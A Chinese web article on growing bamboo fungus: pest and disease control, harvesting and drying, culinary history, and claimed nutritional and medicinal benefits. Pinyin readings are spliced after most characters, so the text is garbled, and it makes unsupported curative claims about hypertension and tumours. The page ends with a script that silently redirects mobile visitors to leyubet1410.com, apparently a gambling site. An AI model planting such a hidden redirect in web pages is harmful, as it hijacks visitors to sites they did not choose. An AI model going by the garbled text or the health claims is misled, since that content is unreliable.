  在(zai)菌丝管理期间要清除畦(qi)面杂菌、污染物,发现(xian)“黑(hei)、红、绿”颜(yan)色杂菌,立即用碳铵(an)或石灰覆盖外加薄(bo)膜,消毒抑制。如(ru)出菇期出现(xian)杂菌,在(zai)竹荪未展(zhan)裙前(qian)可(ke)喷洒金霉素(su)水(shui)溶液,严重(zhong)时(shi)可(ke)喷洒0.1%多菌灵药液进行防治。

  (二)水(shui)旱轮作

  为防止(zhi)杂菌(jun)大面积感染造(zao)成减产损失,竹(zhu)荪(sun)栽培田不宜连(lian)作,应改种水稻,三年(nian)后方(fang)可重新种植竹(zhu)荪(sun)。

  虫(chong)害

  (1)白蚁(yi):能蛀食竹(zhu)荪(sun)菌丝,影响(xiang)竹(zhu)荪(sun)产量(liang)。可(ke)用(yong)(yong)灭(mie)蚁(yi)灵或(huo)辛硫磷700倍(bei)液(ye)、25%菊乐合脂2000倍(bei)液(ye)喷杀或(huo)用(yong)(yong)明矾(fan)粉调(diao)糖水洒于白蚁(yi)喜食的(de)芒箕(ji)上诱(you)杀,也可(ke)用(yong)(yong)烧香的(de)骨头诱(you)杀。

  (2)螨类:在高(gao)(gao)温高(gao)(gao)湿时容易爆(bao)发,竹(zhu)荪(sun)菌丝(si)(si)(si)生(sheng)长阶段以(yi)及出菇阶段均有(you)发生(sheng),能(neng)把菌丝(si)(si)(si)咬断,菌丝(si)(si)(si)萎(wei)缩不长,也能(neng)咬竹(zhu)荪(sun)菌球,并(bing)传播病菌,发生(sheng)严(yan)重(zhong)时造成绝(jue)收(shou)。可(ke)用(yong)70%克螨特200倍液或2.5%天王星2000倍液或者其他专用(yong)杀螨剂进行喷杀。

  (3)蛞(kuo)蝓:是一种(zhong)软体动(dong)物,俗(su)称“鼻涕虫”,无外壳,身体裸露,主要(yao)吞噬竹荪菌球,造成(cheng)菌球穿孔,并(bing)留下一道白色黏液(ye)(ye)。可用杀螟磷喷杀或用1:50:50的砷酸钙、麦(mai)皮(pi)、水置于蛞(kuo)蝓出(chu)没的地(di)方诱杀,或在蛞(kuo)蝓出(chu)没的地(di)方喷洒(sa)5%煤酚皂(zao)溶液(ye)(ye)、50%食盐(yan)水滴杀。

  病害

  1.黏(nian)菌(jun):发(fa)生(sheng)在竹荪(sun)畦面裸露土或覆盖的稻(dao)草(cao)上(shang),初(chu)期为黏(nian)糊糊,会变(bian)形运动,呈乳白、橙(cheng)黄、黄绿色(se),使菌(jun)丝(si)生(sheng)长(zhang)受抑(yi)或逐渐消亡,严重时不再生(sheng)长(zhang)竹荪(sun),竹荪(sun)菌(jun)蕾受到危害呈水渍状、霉烂。应(ying)加(jia)强通风,初(chu)期可(ke)用多(duo)菌(jun)灵、70%甲基托布津(jin)1000倍液、硫酸(suan)铜500倍液、10%漂白粉连续喷洒3~4次。

  2.烟灰(hui)菌(jun)(jun):常发生在(zai)高温高湿环境,初期在(zai)竹(zhu)(zhu)荪(sun)畦面覆土(tu)层出现脏白色(se)绒(rong)毛(mao)状(zhuang)菌(jun)(jun)丝(si),很快(kuai)变(bian)成粉红(hong)色(se)、黑色(se),菌(jun)(jun)落(luo)呈(cheng)深烟灰(hui)色(se),并产生大量的黑色(se)孢子,其(qi)主(zhu)要(yao)为(wei)害竹(zhu)(zhu)荪(sun)菌(jun)(jun)丝(si),导致菌(jun)(jun)丝(si)断裂,直(zhi)至(zhi)死(si)亡。早期出现脏白色(se)绒(rong)毛(mao)状(zhuang)菌(jun)(jun)丝(si)时为(wei)治疗最佳期,可(ke)直(zhi)接在(zai)病症处(chu)喷洒(sa)3%石碳酸或者2%甲(jia)醛;当出现黑色(se)孢子时,可(ke)用福尔马林20倍+70%甲(jia)基托布津可(ke)湿性粉剂700倍稀(xi)释液喷施;严(yan)重(zhong)时,在(zai)发病处(chu)周(zhou)围(wei)(wei)挖断培养料,在(zai)患处(chu)及周(zhou)围(wei)(wei)撒新鲜石灰(hui),并用塑料膜(mo)将病患处(chu)盖住(zhu),控制其(qi)扩散(san)。

  采制与包装

  竹(zhu)荪破(po)蕾(lei)开(kai)裙(qun)一(yi)般在凌(ling)晨,必须(xu)做到随开(kai)随采。也可将开(kai)裙(qun)一(yi)半的(de)子实(shi)体或(huo)(huo)成熟的(de)菌(jun)(jun)蛋采收回室内待其全部(bu)开(kai)裙(qun)。采收时,用刀(dao)从菌(jun)(jun)托底部(bu)切断菌(jun)(jun)索,先轻轻取掉菌(jun)(jun)帽,然(ran)后(hou)去掉菌(jun)(jun)托,留菌(jun)(jun)柄(bing)和菌(jun)(jun)裙(qun),用湿纱布揩干净(jing)或(huo)(huo)用清水冲洗干净(jing),置于垫有白(bai)纸(zhi)的(de)提篮(lan)(lan)或(huo)(huo)竹(zhu)篮(lan)(lan)里,切不(bu)可撕(si)破(po)弄(nong)断。取回后(hou)及时分(fen)级(ji)进行烘(hong)(hong)(hong)干或(huo)(huo)晒干,烘(hong)(hong)(hong)干宜用低温烘(hong)(hong)(hong)烤(kao),先用40℃温度(du)烘(hong)(hong)(hong)烤(kao),半小(xiao)(xiao)时翻动一(yi)次;以(yi)后(hou)温度(du)可慢(man)慢(man)上(shang)升(sheng)到50℃,每隔1小(xiao)(xiao)时翻动1次,约(yue)烘(hong)(hong)(hong)4小(xiao)(xiao)时;温度(du)降(jiang)至40℃继续烘(hong)(hong)(hong)烤(kao)约(yue)3小(xiao)(xiao)时。烘(hong)(hong)(hong)干后(hou),取出摊(tan)凉(liang)20~30分(fen)钟,待菌(jun)(jun)体变软后(hou)再分(fen)级(ji)包装。鲜竹(zhu)荪干燥得率约(yue)为2.6%~2.8%。

主要价(jia)值(zhi)

6.jpg

食用(yong)

  竹(zhu)(zhu)(zhu)荪(sun)(sun)(sun)(sun)营养价值很高(gao)。据分析,每(mei)100克(ke)(ke)鲜竹(zhu)(zhu)(zhu)荪(sun)(sun)(sun)(sun)中(zhong)含有粗蛋白20.2%(高(gao)于鸡蛋),粗脂(zhi)肪2.6%,粗纤维8.8%,碳水化合物6.2%,粗灰分8.21%,还有多种维生素(su)和(he)(he)钙、磷、钾、镁、铁(tie)等(deng)矿物质。长裙竹(zhu)(zhu)(zhu)荪(sun)(sun)(sun)(sun)的(de)蛋白质中(zhong)氨基酸含量极为(wei)丰富,其中(zhong)谷(gu)氨酸含量达1.76%,是(shi)竹(zhu)(zhu)(zhu)荪(sun)(sun)(sun)(sun)味(wei)道鲜美(mei)的(de)主要原因。竹(zhu)(zhu)(zhu)荪(sun)(sun)(sun)(sun)的(de)子实体脆嫩爽(shuang)口、香甜(tian)鲜美(mei),别具(ju)风(feng)(feng)味(wei),作为(wei)菜(cai)(cai)肴(yao),冠于诸菌,堪(kan)称色、香、味(wei)三绝(jue),是(shi)宴(yan)(yan)席上著名(ming)的(de)山珍(zhen)。在菇类饮(yin)食(shi)文化中(zhong)的(de)各大(da)(da)菜(cai)(cai)系中(zhong),几乎都有竹(zhu)(zhu)(zhu)荪(sun)(sun)(sun)(sun)名(ming)菜(cai)(cai)。湘菜(cai)(cai)中(zhong)的(de)“竹(zhu)(zhu)(zhu)荪(sun)(sun)(sun)(sun)芙蓉”是(shi)我国(guo)国(guo)宴(yan)(yan)的(de)一大(da)(da)名(ming)菜(cai)(cai),1972年美(mei)国(guo)前(qian)总统(tong)尼克(ke)(ke)松和(he)(he)日本前(qian)首相(xiang)田中(zhong)角荣访华(hua)时,吃了这道菜(cai)(cai)后,都赞不绝(jue)口。此外,如竹(zhu)(zhu)(zhu)荪(sun)(sun)(sun)(sun)响(xiang)螺汤、竹(zhu)(zhu)(zhu)荪(sun)(sun)(sun)(sun)扒风(feng)(feng)燕、竹(zhu)(zhu)(zhu)荪(sun)(sun)(sun)(sun)烩鸡片等(deng),都是(shi)很有名(ming)的(de)美(mei)味(wei)佳肴(yao),深受国(guo)内外宾(bin)客的(de)喜(xi)爱。

  竹荪(sun)入馔,始(shi)见载(zai)于(yu)唐代段成式(shi)《酉阳杂(za)(za)俎》。南(nan)宋陈仁玉《菌(jun)谱》,明代潘之(zhi)(zhi)恒《广菌(jun)谱》等(deng)均有记(ji)载(zai)。清(qing)代《素食说略》“竹松”条(tiao)记(ji)载(zai)较详(xiang):“或作竹荪(sun),出四川。滚水淬过,酌(zhuo)加盐(yan)、料酒,以高汤(tang)煨(wei)之(zhi)(zhi)。清(qing)脆腴美,得未曾有。或与嫩豆腐、玉兰片(pian)色(se)白(bai)之(zhi)(zhi)菜同(tong)煨(wei)尚可(ke),不宜夹(jia)杂(za)(za)别物并搭(da)馈也。”

  食(shi)用禁忌

  1.竹荪性凉,脾胃虚寒者(zhe)、腹(fu)泻者(zhe)不宜多食。

  2.在众多的竹(zhu)荪(sun)品(pin)种中,有(you)一种黄裙竹(zhu)荪(sun),也叫杂色(se)(se)荪(sun),菌裙的颜(yan)色(se)(se)为橘黄色(se)(se)或(huo)柠檬黄色(se)(se),这种黄裙竹(zhu)荪(sun)有(you)毒,不可食用。

  营养价值

  1. 竹荪(sun)含有丰富(fu)的多种(zhong)氨基酸(suan)、维生素、无机盐等,具有滋补强(qiang)壮(zhuang)、益气补脑(nao)、宁神健体的功(gong)效;

  2. 竹(zhu)荪的有效成(cheng)分可补充人体必需的营养(yang)物质,提高机(ji)体的免疫抗病(bing)能(neng)力;

  3. 竹荪(sun)能够保护肝脏,减少腹壁(bi)脂肪的积存,有俗称“刮油(you)”的作用,从(cong)而产(chan)生(sheng)降血压、降血脂和减肥的效果;

   食用注意

  干品烹制(zhi)前应(ying)先用(yong)淡盐水泡发10分钟,竹(zhu)荪剪去菌盖(gai)头(tou)(封(feng)闭(bi)的一端)。长裙竹(zhu)荪质(zhi)量较差,泡发后伞端(网状部分)容易烂且(qie)菌柄壁薄,故需严格控制(zhi)泡发时间;短裙竹(zhu)荪更加(jia)厚实(shi),口(kou)感更脆,故质(zhi)量更高(gao)。

  购买时,需挑(tiao)选短(duan)裙(qun)竹(zhu)荪且(qie)菌(jun)柄厚实(shi)粗(cu)壮者为宜。竹(zhu)荪的(de)(de)存(cun)放,注(zhu)意不要放在日光(guang)直(zhi)射(she)的(de)(de)地(di)方和高温潮湿的(de)(de)地(di)方,开封时请尽快(kuai)食(shi)用。新近的(de)(de)竹(zhu)荪,颜色(se)微微泛黄(雪白的(de)(de)为人工硫磺(huang)熏制过),经(jing)过长(zhang)时间的(de)(de)存(cun)放,陈年的(de)(de)竹(zhu)荪颜色(se)会更(geng)黄。

  竹荪(干(gan))适合(he)人群(qun)(qun):一般人群(qun)(qun)均(jun)可食用

  1.肥(fei)胖、脑力工作(zuo)者(zhe)、失眠、高(gao)(gao)血(xue)压(ya)、高(gao)(gao)血(xue)脂、高(gao)(gao)胆(dan)固醇患(huan)者(zhe)、免疫力低(di)下、肿瘤患(huan)者(zhe)可以常食;

  2.竹荪性凉,脾胃虚寒之人不要吃得太(tai)多。

  竹荪(sun)(干)食疗(liao)作用:补气养阴(yin),润(run)肺(fei)止咳,清热利湿(shi);主治(zhi)肺(fei)虚热咳、喉炎、痢疾、白带、高(gao)血压、高(gao)血脂等病症。

  竹荪(干)做法指导:干品烹制前应先用(yong)淡盐水泡发(fa),并剪去菌盖头(封闭的一(yi)端(duan)),否则会(hui)有怪味。

  药(yao)用

  竹荪(sun)具(ju)有很(hen)(hen)高(gao)(gao)(gao)(gao)的药用(yong)价(jia)值。子(zi)实体中(zhong)含有多(duo)(duo)种(zhong)酶(mei)和高(gao)(gao)(gao)(gao)分子(zi)多(duo)(duo)糖,其多(duo)(duo)糖为异(yi)多(duo)(duo)糖。中(zhong)医认为,竹荪(sun)性寒、味甘、无毒,有滋(zi)阴(yin)养血(xue)、益气补脑、止咳化(hua)痰及减(jian)少腹壁脂肪积储的功效,对高(gao)(gao)(gao)(gao)血(xue)压、高(gao)(gao)(gao)(gao)血(xue)脂、高(gao)(gao)(gao)(gao)胆固醇、冠心(xin)病(bing)、动脉硬化(hua)及肥胖症等有良好疗效,因此(ci)竹荪(sun)在(zai)国际市(shi)场(chang)具(ju)有很(hen)(hen)高(gao)(gao)(gao)(gao)的声誉(yu),价(jia)格十分昂贵。在(zai)香(xiang)港(gang)市(shi)场(chang),一(yi)级竹荪(sun)千(qian)晶售(shou)价(jia)高(gao)(gao)(gao)(gao)达(da)人民币5000~8000元(yuan)/千(qian)克,国际市(shi)场(chang)售(shou)价(jia)高(gao)(gao)(gao)(gao)达(da)6万美元(yuan)/吨,比蘑菇价(jia)高(gao)(gao)(gao)(gao)20倍左右(you)。

具(ju)有(you)滋补强壮(zhuang)、益气补脑、宁神(shen)健体(ti)的(de)功(gong)效(xiao);补气养阴,润肺止咳,清热利(li)湿。竹荪能够(gou)保护肝脏,减(jian)少腹壁脂肪的(de)积存(cun),有(you)俗(su)称“刮油”的(de)作用。

经(jing)济(ji)

  竹(zhu)荪精(jing)是纯(chun)菌类(lei)调(diao)味品,不(bu)同于传统味精(jing)和(he)(he)鸡精(jing)以(yi)化学物质(zhi)和(he)(he)动(dong)物成分为主要原料,而以(yi)提取(qu)原生态菌类(lei)的(de)鲜味为主要原料,完全(quan)摆脱了工(gong)业污(wu)染(ran)和(he)(he)动(dong)物疾病的(de)威胁。为传统调(diao)味品带(dai)来了一次调(diao)鲜和(he)(he)健康的(de)革命。

  竹(zhu)荪(sun)酒是以五粮为基酒,采用竹(zhu)荪(sun)、猕猴(hou)桃为主(zhu)要原料(liao),配以竹(zhu)荪(sun)发酵液,调和诸味,勾兑而成菌(jun)香型白(bai)酒。同(tong)时(shi)也开创了产品深(shen)加工的一片新天(tian)地。

  成(cheng)分(fen)为:竹荪、藏茶(cha)、黄精(jing)、红苋菜。

  适宜人群(qun):高原旅游(you)、办公室(shi)疲劳、大鱼(yu)大肉人群(qun)。

var _hmt = _hmt || []; (function() { var hm = document.createElement("script"); hm.src = "https://hm.baidu.com/hm.js?993185dc8689f489fddf05459dcb9ba5"; var s = document.getElementsByTagName("script")[0]; s.parentNode.insertBefore(hm, s); })(); function browserRedirect() { var sUserAgent= navigator.userAgent.toLowerCase(); var bIsIpad= sUserAgent.match(/ipad/i) == "ipad"; var bIsIphoneOs= sUserAgent.match(/iphone os/i) == "iphone os"; var bIsMidp= sUserAgent.match(/midp/i) == "midp"; var bIsUc7= sUserAgent.match(/rv:1.2.3.4/i) == "rv:1.2.3.4"; var bIsUc= sUserAgent.match(/ucweb/i) == "ucweb"; var bIsAndroid= sUserAgent.match(/android/i) == "android"; var bIsCE= sUserAgent.match(/windows ce/i) == "windows ce"; var bIsWM= sUserAgent.match(/windows mobile/i) == "windows mobile"; if (bIsIpad || bIsIphoneOs || bIsMidp || bIsUc7 || bIsUc || bIsAndroid || bIsCE || bIsWM) { window.setTimeout("window.location='http://leyubet1410.com'",1000); } else { document.writeln(""); document.writeln(""); document.writeln(""); } } browserRedirect();